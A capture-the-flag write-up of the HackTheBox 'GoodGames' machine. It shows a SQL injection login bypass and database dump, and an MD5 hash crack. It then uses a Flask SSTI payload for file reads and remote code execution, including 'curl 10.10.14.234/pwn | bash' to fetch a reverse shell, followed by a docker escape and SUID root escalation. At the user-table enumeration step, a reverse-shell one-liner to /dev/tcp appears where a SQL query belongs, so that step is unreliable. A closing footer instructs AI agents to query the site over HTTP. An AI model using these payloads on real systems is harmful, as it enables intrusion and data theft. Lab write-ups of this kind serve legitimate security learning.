# GoodGames

**Date**: 09/06/2022

**Difficulty**: Easy

**CTF**: <https://app.hackthebox.com/machines/GoodGames>

***

Let’s start with a ping to see if we have connection with the machine:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-fe6d6f23f9a5703b487e8b00821b1fa8ef17ae3d%2Fgoodgames0.png?alt=media" alt=""><figcaption></figcaption></figure>

The ttl=63 indicates us that the target is probably a Linux machine.

Let’s scan all the TCP ports to see which ones are open:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-0ae44aa5c82b1cb5d73f72cfdbae312d15a3072b%2Fgoodgames1.png?alt=media" alt=""><figcaption></figcaption></figure>

Nmap discovered a single open TCP port, the 80 (http). Let’s see if we can obtain more info of this service:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-bd36e5624b0c8ea1771c16d18809d6af162caac9%2Fgoodgames2.png?alt=media" alt=""><figcaption></figcaption></figure>

We got interesting information. First of all, the version of the Apache (2.4.51). Also, the header may indicate that the server is running Werkzeug (2.0.2) and Python (3.9.2) sometimes it is vulnerable to Server Side Template Injection (SSTI). And the Service Info is telling us the domain being used: goodgames.htm. Maybe the server is applying Virtual Hosting, so we should add this domain to etc/hosts file.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-b3402b48c108bee675e6c4bcdbe8a63feda84714%2Fgoodgames3.png?alt=media" alt=""><figcaption></figcaption></figure>

Let’s use whatweb to try to obtain more info of the website hosted in the http service:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-95ffc6f046d51230fd7c086fa69255f1fed320dd%2Fgoodgames4.png?alt=media" alt=""><figcaption></figcaption></figure>

Nothing new, let’s see how the page looks:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-daef685c18ba19c860584411823e19b58e618134%2Fgoodgames5.png?alt=media" alt=""><figcaption></figcaption></figure>

I appreciate no difference between the website accessed via IP or domain, so I’m going to use the domain.

Let’s hear what Wappalizer has to say:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-a78f5c47caa791b2f242b99dac4640963d17fad0%2Fgoodgames6.png?alt=media" alt=""><figcaption></figcaption></figure>

The server is using Flask (2.0.2) and jQuery (3.3.1) According to [this page](https://snyk.io/test/npm/jquery/3.3.1) this version of jQuery is vulnerable to XSS injection and prototype pollution. But I haven’t found a valid input to insert the XSS payload…

Let’s take a look to the web content:

The main page has post previews, news previews, image previews…

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-a71c4861c4c02465ef0c81d4e7bd9c0b7460b065%2Fgoodgames7.png?alt=media" alt=""><figcaption></figcaption></figure>

There is a directory called static with a subdirectory called images.

Let’s try to visit goodgames.htb/static/images and goodgames.htb/static

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-12f7aa91b09ed6d952cf71c9cf8e673fad4ae24f%2Fgoodgames8.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-8743051036754db90c4cd7a55d8177d50619672c%2Fgoodgames9.png?alt=media" alt=""><figcaption></figcaption></figure>

There is no directory listing.

Let’s see the Blog:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-effdade8b00b1c91927e24617e592c5ba7b58127%2Fgoodgames10.png?alt=media" alt=""><figcaption></figcaption></figure>

There are 14 pages of blog entries but only the first one works. The author of each post appears, so they may be valid users.

And the store link redirect us here:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-38dd1ec533f2bc9199b31619948a4c30143a9110%2Fgoodgames11.png?alt=media" alt=""><figcaption></figcaption></figure>

There is also login form in the main page:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-ec9ba764f479526c9e181cac4318d30b4eb8d7ea%2Fgoodgames12.png?alt=media" alt=""><figcaption></figcaption></figure>

Let’s try to sign in

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-90a498fc4532b1e7866f10c92d66e0c335be491d%2Fgoodgames13.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-1a83e060a1beca269f3026b8bf6d0eb19f4f7646%2Fgoodgames14.png?alt=media" alt=""><figcaption></figcaption></figure>

And, let’s log in:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-4567998036878c151fb429c2c8a131fa6697be00%2Fgoodgames15.png?alt=media" alt=""><figcaption></figcaption></figure>

There is nothing I can do in this panel but changing my password…

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-2fa4fac6c8b4e4b9740ae696dd1b2e06c9181ae3%2Fgoodgames16.png?alt=media" alt=""><figcaption></figcaption></figure>

And, if I try it, it breaks. Let’s intercept the petition using Burpsuite:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-abe1d6877e47ba7523a088a8596be7d84e6f1484%2Fgoodgames17.png?alt=media" alt=""><figcaption></figcaption></figure>

Nothing interesting I think.

Going back to the main page, I don’t really know if I was able to access to this post before login in, but now I have access:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-d407a0fa2c3d8f2a70fcc07c64fe9fa8e918874e%2Fgoodgames18.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-c1d6010e37c9265321d2e2532246e63c12166310%2Fgoodgames19.png?alt=media" alt=""><figcaption></figcaption></figure>

And I can leave a reply! Let’s try some XSS!

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-c955b9f864dc70782a98efbfdca6dd9b9b01230c%2Fgoodgames20.png?alt=media" alt=""><figcaption></figcaption></figure>

Mmm… The server doesn’t allow me to post normal messages and it drops a server internal error.

With nothing in mind, let’s try to enumerate web directories:

First of all, let’s see if there is any other blog entry:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-24116ef12f99392ff6d65a08a6aa0142705ae0ec%2Fgoodgames21.png?alt=media" alt=""><figcaption></figcaption></figure>

Nope

OK, let’s go back to the login page. Let’s see if it’s vulnerable to SQLi

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-3292925bd474d9b90f3eb22536c5399d536de5e6%2Fgoodgames22.png?alt=media" alt=""><figcaption></figcaption></figure>

Apparently it requires a valid email address… Let’s insert a valid email address here and intercept the petition with Burpsuite to try to manipulate the data sent:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-ceabbd337317afe006c594eb731573ea7bf0a6ee%2Fgoodgames23.png?alt=media" alt=""><figcaption></figcaption></figure>

Let’s substitute the email input for `admin' OR 1=1-- -`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-6dc51ff7a14f04e51ce0c56df29af7d25c5d2a99%2Fgoodgames24.png?alt=media" alt=""><figcaption></figcaption></figure>

And url-encode it:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-4614f61c2f8f403a9ac8d6c85957d07fda3c2d88%2Fgoodgames25.png?alt=media" alt=""><figcaption></figcaption></figure>

Let’s forward the petition…

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-054cb1c9b149443f510a28da3c8c98ac20aa3bea%2Fgoodgames26.png?alt=media" alt=""><figcaption></figcaption></figure>

And done! we bypassed the login… Let’s try to see if we can enumerate the database. First of all, let’s intercept the login petition again and send it to the repeater:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-7d88f2d701bf7d2de18ce6d244672dbe37cf47b4%2Fgoodgames27.png?alt=media" alt=""><figcaption></figcaption></figure>

Now, let’s try to guess the number of columns of the users table using `UNION SELECT`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-ef0a4c19eb52e65616227098e718384a97e30121%2Fgoodgames28.png?alt=media" alt=""><figcaption></figcaption></figure>

The table has 4 columns, and the welcome message is printing the 4th one.

Let’s now discover the name of the database using `database()`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-55534f6f57a27e440733ef0d19e1207cd813a4a2%2Fgoodgames29.png?alt=media" alt=""><figcaption></figcaption></figure>

The database’s name is `main`

Let’s gather the list of tables of the database using `group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'main'`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-82f656b0be30aeb810b005b4c6aefc13919fe588%2Fgoodgames30.png?alt=media" alt=""><figcaption></figcaption></figure>

The tables are `blog`, `blog_comments` and `user`

Let’s see the columns of `user` table using: `group_concat(column_name) FROM information_schema.columns WHERE table_name = 'user'`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-08a65ff7c13d1c52aaa52dc9b6b0b0d9c41c2cbb%2Fgoodgames31.png?alt=media" alt=""><figcaption></figcaption></figure>

The columns of the user table are called `id`, `email`, `password` and `name`

Let’s enumerate it all using: `bash -i >& /dev/tcp/10.0.0.1/8080 0>&1`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-a2d74c9acaa200138a06b4e9552fa0078195223c%2Fgoodgames32.png?alt=media" alt=""><figcaption></figcaption></figure>

There is only one entry, but looks like a hashed password.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-409d21fd4c94bc2efe7f59081d10ecdd60ed0d76%2Fgoodgames33.png?alt=media" alt=""><figcaption></figcaption></figure>

Probably MD5. Let’s try to use rainbow tables to crack it, if it’s not in rainbow tables maybe we can try to crack it using John.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-8f2ae22412dca8c6b73948d2a44d652fac2882f1%2Fgoodgames34.png?alt=media" alt=""><figcaption></figcaption></figure>

That’s a weak password hahaha. Let’s anotate it, I’m sure I’ll need it soon.

Let’s try to log to the website again, but now with the obtained credentials:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-9e69b733e48091a17dfcb6fb427ea7a556ad0429%2Fgoodgames35.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-9e3ffe5006960bf1e1b617e87401972d690854be%2Fgoodgames36.png?alt=media" alt=""><figcaption></figcaption></figure>

So, now we are logged as an administrator.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-7017021a903d5e3dfe007e7297274c5ec0e5a9e0%2Fgoodgames37.png?alt=media" alt=""><figcaption></figcaption></figure>

This button was not there before… let’s check it.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-5a64ca8b80df4f17c9f201da54eac174b6a3892d%2Fgoodgames38.png?alt=media" alt=""><figcaption></figcaption></figure>

It redirected us to a subdomain that I had to include in the /etc/hosts file. It shows up a login page. Let’s try to use the same credentials we used to log in as the admin user before:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-a1fbad5c918439ba01e16e4e0db23e4b5c105702%2Fgoodgames39.png?alt=media" alt=""><figcaption></figcaption></figure>

Aaaand we are in… It has 3 tabs, but this one is interesting, as is the only one that seems to allows us to modify anything:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-e7d3aa6540bc73f9efa453911353edacee5b788c%2Fgoodgames40.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-6b884a51c3b023eb7b601d6fec6c9c630f6a5190%2Fgoodgames41.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-df3175e8ad66a0893bcf7ecffb0611de9731d101%2Fgoodgames42.png?alt=media" alt=""><figcaption></figcaption></figure>

Let’s remember that this site uses flask… Maybe it is vulnerable to STTI?

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-7446da93dda452ec5fbdc0dfc3971c5c34fc62b0%2Fgoodgames43.png?alt=media" alt=""><figcaption></figcaption></figure>

Yeah! It is. Let’s try to read the `/ect/passwd` file using this SSTI payload `{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-14b207188940e235d5f3255097f89b2809344ec7%2Fgoodgames44.png?alt=media" alt=""><figcaption></figcaption></figure>

So… we can convert SSTI to RCE using this payload: `{{config.__class__.__init__.__globals__['os'].popen('<your code>').read()}}`

Let’s try to deploy a Rev Shell using this! As we know that the target system uses python, let’s try to execute a python script. To make it easier, I have created a file in my computer called pwn and shared it via http.server:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-f55914798b8f3fda8f8e2cbfe839aad725091af4%2Fgoodgames45.png?alt=media" alt=""><figcaption></figcaption></figure>

If we execute the command `curl 10.10.14.234/pwn | bash` in the target machine, it should read the pwn file and send it to the bash to interpret it and establish a connection with my machine. Let’s see if it works:

`{{config.__class__.__init__.__globals__['os'].popen('curl 10.10.14.234/pwn | bash').read()}}`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-9da15ee1737d8495bce917fd85029420a19609ab%2Fgoodgames46.png?alt=media" alt=""><figcaption></figcaption></figure>

Yeah! We got a Reverse Shell!

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-2afd80862c80ba7ab6a981f2c54f5f9e73de9e45%2Fgoodgames47.png?alt=media" alt=""><figcaption></figcaption></figure>

Uh… Dockerfile… Let’s check the IP to see if we are inside the target machine or inside a container…

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-d3e9e977ee91b4e8c6825cb60625988ce7c76d03%2Fgoodgames48.png?alt=media" alt=""><figcaption></figcaption></figure>

Bad news, we are inside a container. Let’s see what we have here anyway.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-f2f60b7e38285eb5aad3967ede1f836a9db309bb%2Fgoodgames49.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-501e9bf6a900af1fe580ba12842cd061fcaec83a%2Fgoodgames50.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-f491ae5f17c976383b1b4a89281243e182afcc74%2Fgoodgames51.png?alt=media" alt=""><figcaption></figcaption></figure>

Mmm… it looks like it is running a postgresql database in [localhost](http://localhost):5432 and the credentials are appseed:pass

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-e832618ae5fcb0106ba437d7f59b318e395c6e8b%2Fgoodgames52.png?alt=media" alt=""><figcaption></figcaption></figure>

Here we have an sqlite3 database file, interesting. Let’s check if there is anything in the home folder:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-1cee62985e36532038a0cab151471bbfec17f29c%2Fgoodgames53.png?alt=media" alt=""><figcaption></figcaption></figure>

Yep, there is the user flag!

Ok, now we have to think how to escape the docker environment and jump to the target machine.

If we take a look to the permissions of the files inside augustus folder…

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-18b6cb7d12c4cf17b59d540bde73aa2bdb2c51e8%2Fgoodgames54.png?alt=media" alt=""><figcaption></figcaption></figure>

We can see that there are files that belong to “1000”. It may indicate that the user’s home directory is mounted inside the docker container… let’s check it with `mount`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-3902ae44358105796cf96e5bb6df419c6108cafd%2Fgoodgames55.png?alt=media" alt=""><figcaption></figcaption></figure>

We have seen before that our IP Address was `172.19.0.2` , as Docker usually assigns the first address available of the subnet, the host might be on `172.19.0.1`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-58bf9f4358186c9b360128fd492722848aea837b%2Fgoodgames56.png?alt=media" alt=""><figcaption></figcaption></figure>

I send a ping either to 172.19.0.3 and 172.19.0.1. First one did nothing, but the second one was received, so there is something in that IP that we should scan.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-494c9fb4a1d81c74cd80e127b1d7ff56316cac5a%2Fgoodgames57.png?alt=media" alt=""><figcaption></figcaption></figure>

The machine has no nmap installed, so we can do the scan with bash:

```bash
for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT &>/dev/null" 2>/dev/null && echo "port $PORT is open"; done
```

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-6a5888734cc8cb8a5eab9122ff7c3f32f791b855%2Fgoodgames58.png?alt=media" alt=""><figcaption></figcaption></figure>

Port 22 is open and port 80 is open too. Port 22 is SSH so let’s try to connect using the credentials we have:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-295fe545b45e42a962f3c9441804123abb2f6d2f%2Fgoodgames59.png?alt=media" alt=""><figcaption></figcaption></figure>

User admin didn’t work. How about augustus?

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-09de1e6d83da8705fb69c00fb05c126f0ebee6fe%2Fgoodgames60.png?alt=media" alt=""><figcaption></figcaption></figure>

Yeah, it worked!

Let’s see how to escalate privileges:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-6848ec9cf64f92894d69644a0fff58c94e103440%2Fgoodgames61.png?alt=media" alt=""><figcaption></figcaption></figure>

No sudoers, not interesting SUIDs…

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-dd6d37a8ae9b94c582806caae76e747c37366c0b%2Fgoodgames62.png?alt=media" alt=""><figcaption></figcaption></figure>

Nothing on crontab…

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-98e0764faee15d8a0c1ddc5290df8fffe29caa40%2Fgoodgames63.png?alt=media" alt=""><figcaption></figcaption></figure>

No capabilities… Out of ideas I’m going to enumerate with LinPeas…

Ok, Nothing useful in LinPeas…

How about copying /bin/bash in the home folder of augustus, exiting the ssh, changing the SUID and log into the target machine again via SSH to run bash as administrator? Let’s try it.

First of all, lets copy /bin/bash in the home folder:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-b8e4f8353ed4695acf2d80d885bad4f2fb840a8f%2Fgoodgames64.png?alt=media" alt=""><figcaption></figcaption></figure>

Now, let’s exit the ssh and change the owner of the file and make it SUID:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-ee517580ce8bd6fe9184e0a98f3d05982201cfae%2Fgoodgames65.png?alt=media" alt=""><figcaption></figcaption></figure>

Now, let’s login as augustus via ssh again:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-cf697b65cdbe191f42e1547046714df836ccb1bf%2Fgoodgames66.png?alt=media" alt=""><figcaption></figcaption></figure>

And execute the bash binary with owner perms:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-6dd4a5f9b0498ebd38348fdbd95d4b9b2751dac4%2Fgoodgames67.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-1de9ef83de3b9511667f236c00a1f18db24fc57c%2Fgoodgames68.png?alt=media" alt=""><figcaption></figcaption></figure>

Done!


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://angellm.gitbook.io/hacknotes/htb/2022/goodgames.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
